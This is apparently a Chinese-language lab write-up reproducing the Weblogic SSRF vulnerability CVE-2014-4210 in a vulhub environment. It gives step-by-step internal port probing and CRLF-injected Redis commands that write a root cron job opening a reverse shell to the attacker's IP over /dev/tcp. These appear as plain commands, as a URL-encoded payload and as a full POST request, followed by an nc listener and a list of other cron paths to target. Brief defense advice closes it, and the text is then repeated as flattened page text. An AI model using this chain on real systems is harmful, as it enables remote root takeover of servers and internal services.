Weblogic SSRF(CVE-2014-4210)漏洞复现
字数 1061 2025-08-10 17:51:46

Weblogic SSRF漏洞(CVE-2014-4210)复现与分析

1. 漏洞概述

Weblogic中存在一个SSRF(Server-Side Request Forgery)漏洞,攻击者可以利用该漏洞发送任意HTTP请求,进而攻击内网中的redis、fastcgi等脆弱组件。

2. 漏洞等级

  • 高危

3. 影响版本

  • Weblogic 10.0.2 - 10.3.6版本

4. 环境准备

4.1 所需工具

  • VMware环境
  • vulhub的weblogic漏洞环境
  • Kali Linux (攻击机IP: 192.168.175.144)
  • Redis容器 (IP: 172.22.0.2)

5. 漏洞复现步骤

5.1 漏洞位置

SSRF漏洞存在于以下URL:

http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

5.2 初步探测

  1. 使用Burp Suite测试该漏洞
  2. 观察operator参数的值,它会请求一个URL
  3. 测试可访问的IP:PORT组合,如http://127.0.0.1:80
  4. 根据返回错误信息判断端口状态:
    • 可访问的端口会返回特定错误
    • 不可访问的端口会返回不同错误

5.3 内网探测

通过错误响应的差异,可以探测内网状态。

5.4 利用Redis反弹Shell

  1. 通过%0a%0d注入换行符(某些服务如redis通过换行符分隔命令)
  2. 首先探测内网中的redis服务器(docker环境通常使用172.*网段)
  3. 发现可连通的redis服务器(如172.21.0.2:6739)

5.5 构造Redis命令

发送以下三条redis命令,将弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.175.144/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

5.6 URL编码

将上述命令进行URL编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.175.144%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意: 换行符是\r\n,即%0D%0A

5.7 构造攻击请求

将编码后的字符串放在SSRF的域名后面发送:

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.175.144:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 426
Origin: http://192.168.175.144:7001
Connection: close
Referer: http://192.168.175.144:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=; JSESSIONID=pcpfjgqKz9mgmBbn331r6xGrsQhszNlGpbYMyvcQG0Jhm5v1Qp2H!-798273750
Upgrade-Insecure-Requests: 1

operator=http://172.21.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.175.144%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Atacoking&txtSearchname=&txtSearchkey=&rdoSearch=for&txtSearchfor=&selfor=Business+location&btnSubmit=Search

5.8 监听反弹Shell

在Kali上监听21端口:

nc -lvnp 21

成功获取反弹shell。

6. 其他可利用的cron位置

  1. /etc/crontab - 主要目标
  2. /etc/cron.d/* - 将任意文件写入该目录,效果与crontab相同
    • 优点: 不覆盖其他文件
  3. /var/spool/cron/root - CentOS系统下root用户的cron文件
  4. /var/spool/cron/crontabs/root - Debian系统下root用户的cron文件

7. 防御建议

  1. 升级Weblogic到最新版本
  2. 限制内网服务的访问权限
  3. 对uddiexplorer组件进行访问控制
  4. 监控异常的网络请求
Weblogic SSRF漏洞(CVE-2014-4210)复现与分析 1. 漏洞概述 Weblogic中存在一个SSRF(Server-Side Request Forgery)漏洞,攻击者可以利用该漏洞发送任意HTTP请求,进而攻击内网中的redis、fastcgi等脆弱组件。 2. 漏洞等级 高危 3. 影响版本 Weblogic 10.0.2 - 10.3.6版本 4. 环境准备 4.1 所需工具 VMware环境 vulhub的weblogic漏洞环境 Kali Linux (攻击机IP: 192.168.175.144) Redis容器 (IP: 172.22.0.2) 5. 漏洞复现步骤 5.1 漏洞位置 SSRF漏洞存在于以下URL: 5.2 初步探测 使用Burp Suite测试该漏洞 观察 operator 参数的值,它会请求一个URL 测试可访问的IP:PORT组合,如 http://127.0.0.1:80 根据返回错误信息判断端口状态: 可访问的端口会返回特定错误 不可访问的端口会返回不同错误 5.3 内网探测 通过错误响应的差异,可以探测内网状态。 5.4 利用Redis反弹Shell 通过 %0a%0d 注入换行符(某些服务如redis通过换行符分隔命令) 首先探测内网中的redis服务器(docker环境通常使用172.* 网段) 发现可连通的redis服务器(如172.21.0.2:6739) 5.5 构造Redis命令 发送以下三条redis命令,将弹shell脚本写入/etc/crontab: 5.6 URL编码 将上述命令进行URL编码: 注意: 换行符是 \r\n ,即 %0D%0A 5.7 构造攻击请求 将编码后的字符串放在SSRF的域名后面发送: 5.8 监听反弹Shell 在Kali上监听21端口: 成功获取反弹shell。 6. 其他可利用的cron位置 /etc/crontab - 主要目标 /etc/cron.d/* - 将任意文件写入该目录,效果与crontab相同 优点: 不覆盖其他文件 /var/spool/cron/root - CentOS系统下root用户的cron文件 /var/spool/cron/crontabs/root - Debian系统下root用户的cron文件 7. 防御建议 升级Weblogic到最新版本 限制内网服务的访问权限 对uddiexplorer组件进行访问控制 监控异常的网络请求